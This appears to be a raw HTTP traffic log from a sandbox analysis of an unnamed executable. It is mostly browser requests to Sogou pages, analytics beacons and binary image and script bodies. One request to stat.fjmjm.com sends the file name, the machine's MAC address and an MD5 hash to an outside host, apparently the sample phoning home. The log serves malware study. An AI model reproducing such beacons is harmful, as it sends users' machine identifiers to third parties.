Content-Length: 23977

Connection: keep-alive

Last-Modified: Mon, 14 Apr 2014 08:14:46 GMT

ETag: "01fbb98b957cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:15 GMT

Accept-Ranges: bytes
......JFIF.....H.H......Exif..MM.*.............................b......
.....j.(...........1.........r.2...........i.................H.......H
....Adobe Photoshop CS Windows.2014:04:14 16:14:46....................
.........l...........A...........................................&.(..
.......................................H.......H..........JFIF.....H.H
......Adobe_CM......Adobe.d...........................................
......................................................................
................................A.l.."................?...............
...........................................................3......!.1.
AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'.....
..........Vfv........7GWgw........................5.....!1..AQaq"..2..
...B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............
Vfv........'7GWgw.................?..w=.Ku vX...~U..p.iM.....ec...'r..
...g.:...N.e.].^...v=O?E.7}t..%..i.8.C...D.t.a...%...........?$.-.k...
.F...K{~sTs....4........].d/L3...N..R<...T.2F2......;..nt..Y..4....
W.....C|..;.}z......H.. o.a...K}.z.I........X...CuN..w}N..5..o..`...k.
......7...?GN....-.;[email protected].'.|.8...#,....8&v.a.Ay......
?=....W.W......KA.}.WG..W[.:.u.....^K....4h...........5..->.\d.....
.R..L..w.... G....q.....)......W.,..2..l........52..g}..L..?[..O..Sg.?
......}......G.X....C..f.N...b6}/..#..xA..`....u.>O...,..4...y..v5.
Y]...RK...t..R....].y..M...>.. .c?7.2...n{..Y.CI..O....f.g..l..."h.
.....5/[email protected]..^...u.;...1..........kk.[.j.......3
<<< skipped >>>

GET /miniindex/inc/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/meinv.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: ASERVER/1.2.9-3

Date: Mon, 26 May 2014 23:05:16 GMT

Content-Type: text/css

Content-Length: 2899

Connection: keep-alive

Last-Modified: Thu, 10 Apr 2014 16:40:38 GMT

ETag: "0c7479adb54cf1:402"

Who: ShanIE

X-Powered-By-Anquanbao: HIT from chn-xa-th-sb1

Cache-Control: public, max-age=86400

Expires: Tue, 27 May 2014 23:05:16 GMT

Accept-Ranges: bytes
*{margin:0;padding:0}html,body{overflow:hidden}body{font:12px/18px Sim
sun,Helvetica,Arial,sans-serif;text-align:center;font-size-adjust:none
;font-stretch:normal}ul,li{list-style:none}a{color:#333;text-decoratio
n:none}a:hover{color:#bd0a01;text-decoration:underline}a,img{border:0}
.focus_filter{left:0;width:100%;text-align:center;bottom:0;display:blo
ck;position:absolute;z-index:3;cursor:pointer}.focus_filter{background
:#000;height:21px;z-index:1;opacity:.6;-moz-opacity:.6}.main{backgroun
d:#fff;padding:14px 0 0 14px;width:509px;height:352px;text-align:left;
float:left;position:relative;-ms-zoom:1}.main_left{background:#fff;wid
th:222px;overflow:hidden;padding-right:20px;float:left}.product_yl .li
st_news_yl1{padding:4px 0;margin-bottom:3px;border-bottom-color:#8b8c8
c;border-bottom-width:1px;border-bottom-style:dotted}.mod_left{margin-
top:10px}.list_pic{width:222px;overflow:hidden;-ms-zoom:1}.list_pic ul
{width:232px}.list_pic li{margin-right:10px;float:left}.list_pic li a{
padding:2px;border:1px solid #dddfde;width:100px;float:left}.list_pic 
li a img{width:100px;height:65px}.list_pic li a span{height:19px;text-
align:center;padding-top:6px;display:block;cursor:pointer}.list_pic li
 a:hover{text-decoration:none}.list_pic li a:hover img{text-decoration
:none}.list_pic li a:hover span{text-decoration:none}.list_news::after
{clear:both;display:block;content:""}.list_news li{font-family:simsun}
.list_news li a{height:22px;line-height:22px;display:inline-block}.pro
duct_yl .list_news_yl1{padding:4px 0;margin-bottom:3px;border-bott
<<< skipped >>>

GET /imgn/123ie/setting_icon.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p6.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/gif

Content-Length: 76

Last-Modified: Wed, 25 Jul 2012 09:14:49 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
GIF89a.............#.....!.......,.............".8....=h%v..n!.....y.h
.....;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Mon, 26 May 2014 23:
04:29 GMT..Content-Type: image/gif..Content-Length: 76..Last-Modified:
 Wed, 25 Jul 2012 09:14:49 GMT..Connection: keep-alive..Expires: Wed, 
25 Jun 2014 23:04:29 GMT..Cache-Control: max-age=2592000..Accept-Range
s: bytes..GIF89a.............#.....!.......,.............".8....=h%v..
n!.....y.h.....;..

GET /pv.gif?uigs_productid=daohang&rdk=1401145470591&img=pv.gif&pars=?rand=1401145470591&suid=null&sduv=1401145470560_9086_00001&ckid=6094_00001_00000_6719_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_df__4&sys=100&ser=null&sev=null&time=2562 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: pb.sogou.com

Connection: Keep-Alive

Cookie: GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:30 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

Set-Cookie: SUV=001240B6C18AF4E75383C87E85DAC083; expires=Thu, 23-May-24 23:04:30 GMT; domain=.sogou.com; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
HTTP/1.1 200 OK..Server: nginx..Date: Mon, 26 May 2014 23:04:30 GMT..C
ontent-Type: text/xml..Content-Length: 0..Connection: keep-alive..Set-
Cookie: SUV=001240B6C18AF4E75383C87E85DAC083; expires=Thu, 23-May-24 2
3:04:30 GMT; domain=.sogou.com; path=/..P3P: CP="CURa ADMa DEVa PSAo P
SDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"...
...


GET /pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1401145475248&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: pb.sogou.com

Connection: Keep-Alive

Cookie: GOTO=Af22014; SUV=00FA11CAC18AF4E75383C87E71570091

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 26 May 2014 23:04:34 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive
HTTP/1.1 200 OK..Server: nginx..Date: Mon, 26 May 2014 23:04:34 GMT..C
ontent-Type: text/xml..Content-Length: 0..Connection: keep-alive..

GET /stat.htm?id=5645354&r=http://VVV.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=1&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=2&sin=none&t=undefinedundefinedundefined&rnd=220255268 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/xinwen.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: hzs10.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.1

Date: Mon, 26 May 2014 23:05:08 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Tue, 28 May 2013 02:57:17 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /core.php?web_id=5645354&t=z HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 26 May 2014 23:05:08 GMT

Content-Type: application/javascript

Content-Length: 798

Connection: keep-alive

Last-Modified: Mon, 26 May 2014 23:05:08 GMT

Expires: Mon, 26 May 2014 23:20:08 GMT
!function(){var a,b,c,d=encodeURIComponent,e="5645354",f="",g="",h="on
line_v3.php",i="z12.cnzz.com",j="1",k="text",l="z",m="站长
统计",n=window["_CNZZDbridge_" e].bobject,o="https:"==docu
ment.location.protocol?"https:":"http:",p="0",q=o "//online.cnzz.com/o
nline/" h,r=[];r.push("id=" e),r.push("h=" i),r.push("on=" d(g)),r.pus
h("s=" d(f)),q ="?" r.join("&"),"0"===p&&n.callRequest([o "//cnzz.mmst
at.com/9.gif?abc=1"]),j&&(""!==g?n.createScriptIcon(q,"utf-8"):(b="z"=
=l?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" e:"hXXp://quanjing.c
nzz.com","pic"===k?(c=o "//icon.cnzz.com/img/" f ".gif",a="<a href=
'" b "' target=_blank title='" m "'><img border=0 hspace=0 vspac
e=0 src='" c "'></a>"):a="<a href='" b "' target=_blank ti
tle='" m "'>" m "</a>",n.createIcon([a])))}();...HTTP/1.1 200
 OK..Server: Tengine..Date: Mon, 26 May 2014 23:05:08 GMT..Content-Typ
e: application/javascript..Content-Length: 798..Connection: keep-alive
..Last-Modified: Mon, 26 May 2014 23:05:08 GMT..Expires: Mon, 26 May 2
014 23:20:08 GMT..!function(){var a,b,c,d=encodeURIComponent,e="564535
4",f="",g="",h="online_v3.php",i="z12.cnzz.com",j="1",k="text",l="z",m
="站长统计",n=window["_CNZZDbridge_" e].bobjec
t,o="https:"==document.location.protocol?"https:":"http:",p="0",q=o "/
/online.cnzz.com/online/" h,r=[];r.push("id=" e),r.push("h=" i),r.push
("on=" d(g)),r.push("s=" d(f)),q ="?" r.join("&"),"0"===p&&n.callReque
st([o "//cnzz.mmstat.com/9.gif?abc=1"]),j&&(""!==g?n.createScriptI
<<< skipped >>>

GET /stat/?ac=stat&name=%original file name%.exe&mac=00-0C-29-8A-8B-37&md5=8eff8335308629faaae7eeb9444da07a HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.fjmjm.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 26 May 2014 23:04:23 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 0

Content-Type: text/html

Set-Cookie: ASPSESSIONIDCCRSCCBQ=GCMDICKBGDAFJJEMLGHFHJBG; path=/

Cache-control: private
HTTP/1.1 200 OK..Date: Mon, 26 May 2014 23:04:23 GMT..Server: Microsof
t-IIS/6.0..Who: ShanIE..Content-Length: 0..Content-Type: text/html..Se
t-Cookie: ASPSESSIONIDCCRSCCBQ=GCMDICKBGDAFJJEMLGHFHJBG; path=/..Cache
-control: private..

GET /imgn/v32/selogo_111207.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p4.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/png

Content-Length: 12155

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR...a...?.....V.......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /imgn/v32/fbg_about.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p4.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:30 GMT

Content-Type: image/png

Content-Length: 3580

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:30 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.............&u2.....pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......
<<< skipped >>>

GET /imgu/2013/05/20130531144119_126.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: p2.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/png

Content-Length: 13613

Last-Modified: Fri, 31 May 2013 06:41:19 GMT

Connection: keep-alive

Expires: Wed, 25 Jun 2014 23:04:29 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
.PNG........IHDR.......2.............pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V
<<< skipped >>>

GET /stat.htm?id=5645354&r=http://VVV.mdtxw.org/miniindex/&lg=en-us&ntime=1401145507&repeatip=4&rtime=0&cnzz_eid=1411914640-1401145507-&showp=1276x846&st=10&sin=none&t=undefinedundefinedundefined&rnd=367366471 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/meinv.htm?time=undefined

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: hzs10.cnzz.com

Connection: Keep-Alive

Cookie: cna=pbYKDNgqDT8CAcGK9OfSQz54

HTTP/1.1 200 OK

Server: Tengine/1.4.1

Date: Mon, 26 May 2014 23:05:17 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Tue, 28 May 2013 02:57:17 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

GET /kan/static/css/DD_belatedPNG_0.0.8a-min.js?t= HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:27 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 27 Aug 2013 08:33:31 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip
b9b.............Y.o....=...}mH....yx....vZ.p..q...P,....*I...........#
@Lrvvvv.ofW...g......Hx-...... ........UQ.emk kq.CQiA^j'..k..n.2_e....
x.kg.o......:....W.:.K[;-..v.'.(A}..8.5.D.....D..<..oW....uaO...-./
.8..e*..Q.....H.)&...*.3[.Y3._.....Y%|...R.#..9.n..JJ..f...%..Y...O.Dh
....A.id.....*..O7|n,..T.e."......d%...9.fg.e..Z...m..m..L..4O_'..>
;<.>...X...*...33N....a.7...?....a....A....J...=M..T./.'.`.y5...
.8....{.20T.P......M....UKc.g....7.&[..]y.Hyu..^.WyP....].0c...z_?&.}$
D=T.v..|.:.Zj'..tV.<f,\......cwU.....93Y.~......4"....O.8....U....!
t.l9..e..~.....F..c.:.o...\...Zh....>..kWD..F...D...._%.w...06rs.&V
./.&.y..#m.Vy../FS...b..)..g.H.%....n.,..Bs..t[}.........h.....s....B.
......~....EFZ.E..z.;...G..'.Y.qV.?....;..%:o...........n.A.....^...y.
...[R.*.`.......I.3.. .U.x2W.....J..W....B..g..*....5.s.!.^4.. `{^z...
.....h.....e.(Fc=B(..E..p.]c....R.eD...k.A:y...nd..c.Ã..z..Mr..-..:.
.L....&...W....z:7..d....d.)Gw.x..~5;..qR#..U.7.....H......{...v..)...
I..v../....G6....yV....[..Ql....>.|}...a.dnn..f..|fL...'h......*J.'
.W.d..(M. W[[email protected]_....Z.........s....#!...(c..d...&l
t;.........$.....Y...:Z..... ..y..]....K)*.O.q.C=*.$..q.Gf.....*WY....
...Z<..c.3.._`LDj....`.jDj..\0....<...xy.xN}..LK.G..5..3....5...
|.3CS...,|.6...*.d...X).....Q6.BlQ.A...}....:.W..q......ad8bc.p.......
n..;e.<L0 d....w...OG..<D....'..m....3.Q.....K=6.kK..5.....M.3..
w.Z......[....#...N\.G$F.!.KS../y.:s......[.).c..h'uc....V`...(...@...
.../..j...."..C....pB.!.....f.Px.r..[p...R.......b..]u.I%.6|.NAXs.
<<< skipped >>>

GET /imgn/v32/icon4.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:28 GMT

Content-Type: image/gif

Content-Length: 1506

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Accept-Ranges: bytes
GIF89a".....................v.....Cs.`}...............................
...I{.b...........................................................U..m
..r..........................M..Z.....................................
......................................................................
......................................................................
.............................mmm^^^QQQ777......!.....~.,....".......~.
...................................................................dKG
8HINi.];K.D.kUMJ[.LG`....DIa.O9c.o|z.bKL.i8p.zy{x..G..OL....'@.>w.Y
.....ox..).n..:..(.....oz...........XB.......9.3@.'...........5..H...5
....m..HNk...4.... uYR...7.....Rj./J.H..d...p....d....5.(ybi..%<..f
....Lk.4Y..M....<I..G..T2.eB%.. I.X..dI..T.R...m.6J.H...M.<?....
CR..w~...T...<F?r....v...<.Rk....D.}<..1..<9........y..9t;
z..S...B.....mU..1Ga.T.L...B...];..p.t....$r(..Oz...Ou8..$[...[d...%[ 
1@M~.0.%T ..`N.....`....5aE}..)...,P..H&YD.%E...[,[email protected]....%.`C...`...
....%..B.!x....,9..%. '.jv.A.a......y....)..}.`'..P...t.z(..4..76t.C.Y
.P..If....h...=dP...0`*........*[email protected]......)...$.Lq...&.....`@..
.p.."..A.!..B.S....)D;.....m.1L1A....n$.L...$@...>L....x..$).a(..L.
........>B........H.....(..$...A..lp.....B..4...Pp..."D ..&k.r#....
.<C...SL1...F....P.4.L7....F-.....@. 4.B&#X...#p....dp...p`..S@1E.?
..@%g..A.2....P.....4.@.'.PC.1....P.p.......z.^..!.....H2A....w.&.@.. 
L.B......&......`...BrC.f@..."....&<.)$u....g.....,[email protected][email protected];..@ 
..3Lr.?.=.`...h....,`v.).....: ...B^...,0...0..R...\b..PA.R`..xbkT
<<< skipped >>>

GET /v53/imgn/v53_arrow_h.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:29 GMT

Content-Type: image/gif

Content-Length: 1036

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes
GIF89aQ.}..........1..b.......................C.....t.................
............G...........j........}..T.................................
.................................................................!....
.).,....Q.}........(....r.l:...0E.Z...v..z...xL.o...z}-..p.;N.W.......
&. .z.waZ........z|W.........#.v.W.X!...u.)..Z$.$.q....\...{.U....[...
j.....Z..........[....d...\....f...[. .i.).!X..e.....).......]Q0......
...%..@$"(.8....t.b..q#.......e...C..\..%..B..|.sK..NPz..E.......8s...
.T..R.q.SYO9:..u...U?^......k.j.J...Bb..%....H`...jv......i...Z...~.\O
.R..*x.B..R...(V..L..]4..<./.5."...q.d.....@ sT........k1..W.R[N...
ws....p9.../n....Y.3'C....b*D..8M.........w......PM...N..-.}......b.~.
...w.}..h....WE}...`...W`9`=.!.U1x.n....\.]h.TU.". ."2.Z..aXF.m<U.s
.)7..Z.H..Z...R..H..d...........6b]D...i....^U.x.`P.yW.m.uT..eya.t..#G
f...aj..Q......V..d.^....brE..|..e.y....".D.N>....C...N9E..M..1.I..
*....j...r.. ...E"[email protected].... -.l.....#........0..4.j
P.5.\.-...#N.....:..#)@<..k.=.......K.A.....V8..D..,....l... ...;HT
TP/1.1 200 OK..Server: nginx/1.4.1..Date: Mon, 26 May 2014 23:04:29 GM
T..Content-Type: image/gif..Content-Length: 1036..Last-Modified: Thu, 
14 Nov 2013 11:00:56 GMT..Connection: keep-alive..Accept-Ranges: bytes
..GIF89aQ.}..........1..b.......................C.....t...............
..............G...........j........}..T...............................
...................................................................!..
...).,....Q.}........(....r.l:...0E.Z...v..z...xL.o...z}-..p.;N.W.
<<< skipped >>>

GET /jsn/v33_sugg_ajaj_v40_3.js HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; TheWorld)

Host: d.123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1401145470560_9086_00001; CKOR=6094_00001_00000; CKOD=6719_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Mon, 26 May 2014 23:04:30 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 02 Aug 2013 03:01:34 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip
12ba.............Z{w.........5{<."..;..Y.q...W<..;.\6.A.d.......
...VK.;...............5J.a..~-..Az...*..W.HM....j.....XJ0xt..R_. k.es.
..c.l..Y.Dz.;.......m...HUn..gJ}..k...,...z.:.3...J&n.-,6^.s..5...vS..
